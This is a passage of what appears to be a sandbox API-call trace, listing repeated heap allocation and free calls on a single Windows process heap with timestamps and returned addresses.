(HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.819] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, 